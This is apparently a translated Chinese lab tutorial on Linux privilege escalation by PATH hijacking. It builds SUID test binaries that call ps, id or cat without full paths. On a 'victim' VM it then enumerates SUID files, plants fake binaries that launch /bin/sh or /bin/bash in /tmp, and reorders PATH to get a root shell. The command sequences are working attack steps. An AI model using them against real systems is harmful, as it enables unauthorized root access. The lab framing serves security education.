linux在環境變數中提權
1.介紹
PATH是Linux和類Unix作業系統中的環境變數,它指定儲存可執行程式的所有bin和sbin目錄。當用戶在終端上執行任何命令時,它會通過PATH變數來響應使用者執行的命令,並向shell傳送請求以搜尋可執行檔案。超級使用者通常還具有/sbin和/usr/sbin條目,以便於系統管理命令的執行。
使用echo命令顯示當前PATH環境變數:
echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
如果你在PATH變數中看到‘.’,則意味著登入使用者可以從當前目錄執行二進位制檔案/指令碼,這對於攻擊者而言也是一個提權的絕好機會。這裡之所以沒有指定程式的完整路徑,往往是因為編寫程式時的疏忽造成的。
2.提權1
當前,我們位於/home/raj目錄,我們將在其中建立一個名為/script的新目錄。在script目錄下,我們將編寫一個小型的c程式來呼叫系統二進位制檔案的函式。
pwd
mkdir script
cd /script
nano demo.c
正如你在demo.c檔案中看到的,我們正在呼叫ps命令。
然後使用gcc編譯demo.c檔案,並提升編譯檔案的SUID許可權。
ls
gcc demo.c -o shell
chmod u+s shell
ls -la shell
受害者VM機器
假設我們已經成功滲透目標,並進入提權階段。我們通過ssh成功登入到了受害者的機器。然後使用Find命令,搜尋具有SUID或4000許可權的檔案。
find / -perm -u=s -type f 2>/dev/null
進入到/home/raj/script目錄,可以看到該目錄下有一個可執行的“shell”檔案,我們執行這個檔案。
Echo命令
cd /tmp
echo “/bin/sh” > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH
cd /home/raj/script
./shell
whoami
Copy命令
cd /home/raj/script/
cp /bin/sh /tmp/ps
echo $PATH
export PATH=/tmp:$PATH
./shell
whoami
Symlink命令
ln -s /bin/sh ps
export PATH=.:$PATH
./shell
id
whoami
注意:符號連結也叫軟連結,如果目錄具有完全許可權,則它將成功執行。在Ubuntu中symlink情況下,我們已經賦予了/script目錄777的許可權。
因此,攻擊者可以操縱環境變數PATH來進行提權,並獲得root訪問許可權。
3.提權2
重複上述步驟配置你的實驗環境,現在在指令碼目錄中,我們將編寫一個小型的c程式來呼叫系統二進位制檔案的函式。
pwd
mkdir script
cd /script
nano demo.c
正如你在demo.c檔案中看到的,我們正在呼叫id命令。
然後使用gcc編譯demo.c檔案,並提升編譯檔案的SUID許可權。
ls
gcc demo.c -o shell2
chmod u+s shell2
ls -la shell2
受害者VM機器
同樣,假設我們已經成功滲透目標,並進入提權階段。我們通過ssh成功登入到了受害者的機器。然後使用Find命令,搜尋具有SUID或4000許可權的檔案。在這裡,我們可以看到/home/raj/script/shell2具有SUID許可權。
find / -perm -u=s -type f 2>/dev/null
進入到/home/raj/script目錄,可以看到該目錄下有一個可執行的“shell2”檔案,我們執行這個檔案。
cd /home/raj/script
ls
./shell2
Echo命令
cd /tmp
echo “/bin/sh” > id
chmod 777 id
echo $PATH
export PATH=/tmp:$PATH
cd /home/raj/script
./shell2
whoami
4.提權3
重複上述步驟配置你的實驗環境。正如你在demo.c檔案中看到的,我們正在呼叫cat命令從etc/passwd檔案中讀取內容。
然後使用gcc編譯demo.c檔案,並提升編譯檔案的SUID許可權。
ls
gcc demo.c -o raj
chmod u+s raj
ls -la raj
受害者VM機器
同樣,假設我們已經成功滲透目標,並進入提權階段,通過執行以下命令檢視sudo使用者列表。
find / -perm -u=s -type f 2>/dev/null
在這裡,我們可以看到/home/raj/script/raj具有SUID許可權,進入到home/raj/script/目錄,可以看到該目錄下有一個可執行的“raj”檔案。所以當我們執行這個檔案時,它會把etc/passwd檔案作為輸出結果。
cd /home/raj/script/
ls
./raj
Nano編輯器
cd /tmp
nano cat
現在,當終端開啟時輸入/bin/bash並儲存。
chmod 777 cat
ls -al cat
echo $PATH
export PATH=/tmp:$PATH
cd /home/raj/script
./raj
whoami
5.提權4
重複上述步驟配置你的實驗環境。正如你在demo.c檔案中看到的,我們正在呼叫cat命令讀取/home/raj中的msg.txt中的內容,但/home/raj中並沒有這樣的檔案。
然後使用gcc編譯demo.c檔案,並提升編譯檔案的SUID許可權。
ls
gcc demo.c -o ignite
chmod u+s ignite
ls -la ignite
受害者VM機器
同樣,假設我們已經成功滲透目標,並進入提權階段,通過執行以下命令檢視sudo使用者列表
find / -perm -u=s -type f 2>/dev/null
在這裡,我們可以看到/home/raj/script/ignite具有SUID許可權,進入到/home/raj/script目錄,可以看到該目錄下有一個可執行的“ignite”檔案。所以當我們執行這個檔案時,它會報錯“cat: /home/raj/msg.txt”檔案或目錄不存在。
cd /home/raj/script
ls
./ignite
Vi編輯器
cd /tmp
vi cat
現在,當終端開啟時輸入/bin/bash並儲存。
chmod 777 cat
ls -al cat
echo $PATH
export PATH=/tmp:$PATH
cd /home/raj/script
./ignite
whoami